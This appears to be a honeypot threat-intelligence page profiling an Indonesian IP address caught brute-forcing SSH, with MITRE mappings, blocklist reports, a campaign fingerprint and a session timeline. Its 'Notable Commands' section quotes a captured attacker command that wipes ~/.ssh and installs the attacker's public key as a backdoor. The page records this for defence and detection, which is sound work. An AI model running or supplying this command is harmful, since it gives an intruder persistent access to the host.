← Back to feed

139.255.48.54

TAGGED SUSPICIOUS how we decide →

Threat Confidence

63%

Location

🇮🇩 ID / Cimahi

ASN

AS9905 · Linknet ASN

Cloud Provider

—

Total Events

628

Top 10% by volume

Agent Count

First / Last Seen

2026-09-13 17:33 — 2026-09-13 18:38

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-09-13 17:01

blocklist_de:reported

DShield Top Attackers

Reported 2026-09-13 06:01

dshield:top_attacker

Campaigns

HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (384 IPs, 60 countries) HASSH Active high 🇨🇳 CN

384 IPs 540465 events

ssh:bruteforce

2026-02-25 — ongoing · 384 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …

Session Forensics

malware_dropper ×21 credential_probe ×50 opportunistic_bruter ×21

Sessions

92 (42 with login)

Avg Depth Score

0.45

Commands Executed

Files Downloaded

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

f555226df1963d1d3c09daf865abdc9a

SSH Client

SSH-2.0-libssh_0.9.6

Evidence Timeline

Malware Dropper 309ce346af89 newark_01 · 2026-09-13 18:38

3 1 1 100%

Loading events...

Opportunistic Bruter cab9de5d9ea4 newark_01 · 2026-09-13 18:38

1 50%

Loading events...

Credential Probe 87477bec6409 newark_01 · 2026-09-13 18:38

1 20%

Loading events...

Opportunistic Bruter 3727ae3aec9f newark_01 · 2026-09-13 18:37

1 50%

Loading events...

Malware Dropper a7887679b3b4 newark_01 · 2026-09-13 18:36

3 1 1 100%

Loading events...

Credential Probe 0ad707caf24f newark_01 · 2026-09-13 18:37

1 20%

Loading events...

Credential Probe 7ba0e189de9f newark_01 · 2026-09-13 18:35

1 20%

Loading events...

Credential Probe 3471de517136 newark_01 · 2026-09-13 18:34

1 20%

Loading events...

Opportunistic Bruter be4e3312be24 newark_01 · 2026-09-13 18:33

1 50%

Loading events...

Credential Probe d7ef5be27237 newark_01 · 2026-09-13 18:33

1 20%

Loading events...

Malware Dropper 46a521f4365b newark_01 · 2026-09-13 18:33

3 1 1 100%

Loading events...

Malware Dropper d4f2cc08f163 newark_01 · 2026-09-13 18:32

3 1 1 100%

Loading events...

Opportunistic Bruter d549cd420c18 newark_01 · 2026-09-13 18:32

1 50%

Loading events...

Credential Probe 6579a0ebed2b newark_01 · 2026-09-13 18:32

1 20%

Loading events...

Credential Probe 4913c914434c newark_01 · 2026-09-13 18:30

1 20%

Loading events...

Credential Probe 96c87a405967 newark_01 · 2026-09-13 18:29

1 20%

Loading events...

Credential Probe 9956305e6431 newark_01 · 2026-09-13 18:28

1 20%

Loading events...

Opportunistic Bruter 2db4641749aa newark_01 · 2026-09-13 18:27

1 50%

Loading events...

Malware Dropper 2323d59d71df newark_01 · 2026-09-13 18:27

3 1 1 100%

Loading events...

Credential Probe 5719242897be newark_01 · 2026-09-13 18:27

1 20%

Loading events...

Malware Dropper 73ac752ffc54 newark_01 · 2026-09-13 18:26

3 1 1 100%

Loading events...

Opportunistic Bruter 694f12b84aeb newark_01 · 2026-09-13 18:26

1 50%

Loading events...

Credential Probe 0a4cf895598c newark_01 · 2026-09-13 18:26

1 20%

Loading events...

Credential Probe ca24b6423ce3 newark_01 · 2026-09-13 18:24

1 20%

Loading events...

Opportunistic Bruter c5a75f04730b newark_01 · 2026-09-13 18:23

1 50%

Loading events...

Malware Dropper 649669191ce1 newark_01 · 2026-09-13 18:23

3 1 1 100%

Loading events...

Credential Probe 453b3fe49442 newark_01 · 2026-09-13 18:23

1 20%

Loading events...

Opportunistic Bruter e5224439c79d newark_01 · 2026-09-13 18:22

1 50%

Loading events...

Malware Dropper 556803509f55 newark_01 · 2026-09-13 18:22

3 1 1 100%

Loading events...

Credential Probe 82bcb4a7fa5e newark_01 · 2026-09-13 18:22

1 20%

Loading events...

Malware Dropper b890c596d78f newark_01 · 2026-09-13 18:21

3 1 1 100%

Loading events...

Opportunistic Bruter 590b7739c382 newark_01 · 2026-09-13 18:21

1 50%

Loading events...

Credential Probe 16cb9cdf1638 newark_01 · 2026-09-13 18:21

1 20%

Loading events...

Credential Probe 3b7832927005 newark_01 · 2026-09-13 18:19

1 20%

Loading events...

Opportunistic Bruter 4377bd785fb2 newark_01 · 2026-09-13 18:18

1 50%

Loading events...

Malware Dropper 5f22ae5c7300 newark_01 · 2026-09-13 18:18

3 1 1 100%

Loading events...

Credential Probe 44eddf5e5615 newark_01 · 2026-09-13 18:18

1 20%

Loading events...

Credential Probe 4a5beafdf4fb newark_01 · 2026-09-13 18:17

1 20%

Loading events...

Malware Dropper 51a5e5a44c12 newark_01 · 2026-09-13 18:16

3 1 1 100%

Loading events...

Opportunistic Bruter 9318a876530a newark_01 · 2026-09-13 18:16

1 50%

Loading events...

Credential Probe 01a39a300c0e newark_01 · 2026-09-13 18:16

1 20%

Loading events...

Credential Probe ba19825b6a58 newark_01 · 2026-09-13 18:14

1 20%

Loading events...

Malware Dropper 8d4b107161af newark_01 · 2026-09-13 18:13

3 1 1 100%

Loading events...

Opportunistic Bruter 6bb1d5c7ebba newark_01 · 2026-09-13 18:13

1 50%

Loading events...

Credential Probe 6d5a58e38398 newark_01 · 2026-09-13 18:13

1 20%

Loading events...

Credential Probe d3af4130467e newark_01 · 2026-09-13 18:12

1 20%

Loading events...

Credential Probe 5c86c017e9b2 newark_01 · 2026-09-13 18:11

1 20%

Loading events...

Credential Probe f3280e8d583a newark_01 · 2026-09-13 18:10

1 20%

Loading events...

Malware Dropper 40d7b720bc49 newark_01 · 2026-09-13 18:09

3 1 1 100%

Loading events...

Opportunistic Bruter 4138d554dc13 newark_01 · 2026-09-13 18:09

1 50%

Loading events...